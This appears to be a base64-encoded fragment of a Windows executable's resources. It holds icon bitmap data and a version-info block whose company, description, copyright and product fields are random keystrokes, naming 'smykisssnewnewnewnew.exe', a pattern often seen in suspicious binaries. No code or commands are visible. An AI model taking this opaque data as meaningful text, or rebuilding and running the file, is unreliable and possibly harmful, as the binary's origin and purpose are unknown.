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zLttnEr9a9ptK2nc6xlcqojMafgcGWd7yOarqFXql4UnqLlni/8ovK+IjH9ofG9obF9obF9oXE9oLB9oHA9n++9n289ny79nm59ni49ne29nS09nKx9m+v9mys9mqq9men9mWl9mGh9l2d9lqa91iX91ST+E+O+EuH+EiD+h1Y3AAAAAAAAHFQNIlaNaFyTcWhhNW5o9zLtuPZxejizurn1e3p1O/q0e/q0e7pz+7ozu3nzezly+vjyergxendw+jbwObYveXVuePQtOHMr93Gp82rjMCVdLyOa7uEW6B9Ym6TrXm+74zK+IjG9ofG9obF9oXE9oTD9oHB9oDA9n++9n289ny79nq59ni49na19nOy9nCw9m6t9myr9mmp9men9mSk9mCg9l2d91qZ91eW91ST+E+O+EqH+EeD+h1Y3AAAAAAAAHFQNIpaNad4U8OfgtS4odzKtePZxOjiz+rn1evp1urp1ero1enm1Ojk0efhzeTdyePZxeHVwd7Qu9zJtNnDrdW7o9G1nM2tk8mlisaegcGWdryOa7yHXqGAZnGUr3y+8I7L+I3J943J947I943I943G94zF94zE94vD94zD+IzC+IzC+IvA94u/94i894i894i7+Ii7+Ia4+IS0+IS0+IS0+YSy+YWz+YSy+YWx+oWw+oOu+oOr+2mR6AAAAAAAAAAAAHFQNIZWMKNyTsSfg9S5odzLt+Paxuji0Orn1ero1ero1enm1Ojk0efizubfy+PaxuHVwd/QvNzKtdnErta+ptK2ns6wlsqnjMafgsOZer6Rb76KYqSEa3SXsYDA8ZLM+ZDK95DK95DK95DJ94/H947F+I7E+I7E+I7D943B94vA94q+94m894W3+IO1+ICw+ICw+X+u+X+u+YGv+oKv+oOv+oOu+oOu+oWv+oiw+oev+oeu/G2U6AAAAAAAAAAAAAAAAHFQNHFQNJxkN7aOcdO3nNzJs+LZxenk0urn1enn1enl1Onl0ujizuXfy+TcyOLXw9/Svd3LttrGsNe+qNO4n8+xlsupjsiihsWcfcKVdcGOaaeIcXeas4PC8ZTO+ZPL95PL95LK+JLI+JDH+JDG+I/E943C94e694C0+Hqs+Hen+HWk+XSi+Xaj+nil+nqn+nun+n6p+oGs+oKs+oGq+oKq+oSs+oas+4et+4et+4eu/WyU6AAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAAAAAAAAAYAAAAAAAAABwAAAAAAAAAHgAAAAAAAAAfAAAAAAAAAB+AAAAAAAAAH8AAAAAAAAAf4AAAAAAAAB/wAAAAAD////gAAAAA/////AAAAAH////4AAAAA/////AAAAAD////4AAAAAP////AAAAAA////4AAAAAD////AAAAAAAAAB4AAAAAAAAAHAAAAAAAAAAYAAAAAAAAABgAAAAAAAAAHAAAAAAAAAAeAAAAAAAAAB8AAAAAAAAAH4AAAAAH////wAAAAAf////gAAAAB/////AAAAAH////+AAAAAf////8AAAAA/////wAAAAB////+AAAAAD////wAAAAAH///+AAAAAAAAAfwAAAAAAAAB+AAAAAAAAAHwAAAAAAAAAeAAAAAAAAABwAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAB////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAABAAQAEBAAAAEACABoBQAAAQAgIAAAAQAYAKgMAAACADAwAAABAAgAqA4AAAMAQEAAAAEAGAAoMgAABAAAAIQDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAACQAtAAAAAAAJAC0AAAAAAAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAARAAAAAAAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAkEsATkAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAADAAgAAAQAwADQAMAA5ADAANABCADAAAABAACgAAQBDAG8AbQBtAGUAbgB0AHMAAABqAHUAaABnAGQAZQBlAHcAcwA2AGQAZgBnADMAMAA5ADgANwA2AAAAPAAcAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABsAGsAagBoAGcAZgBkAGEAcwB4AGMAdgBkAAAATAAiAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAGkAdABlADQAdwAxADIAMgB3AHQAcgB0AHUAdQBvAHAAAAAAAEwAJgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAGsAawBrAGcAZABmAHMAYQBzAHcAcQBxAGUAcgB0AHkAdQBpAAAAAABAABYAAQBMAGUAZwBhAGwAVAByAGEAZABlAG0AYQByAGsAcwAAAAAAawBsADsAawB1AGcAcwB3AHcAZQAAAAAAQAAeAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABoAGcAdAB5AGYAcgBkAGUAdwBzAHEAcQBhAHMAAAAAADQAFAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAOQAuADAAMAAuADAAMAA0ADUAAAA4ABQAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAA5AC4AMAAwAC4AMAAwADQANQAAAEwAKgABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAcwBtAHkAawBpAHMAcwBzAG4AZQB3AG4AZQB3AG4AZQB3AG4AZQB3AAAAAABcADIAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAcwBtAHkAawBpAHMAcwBzAG4AZQB3AG4AZQB3AG4AZQB3AG4AZQB3AC4AZQB4AGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA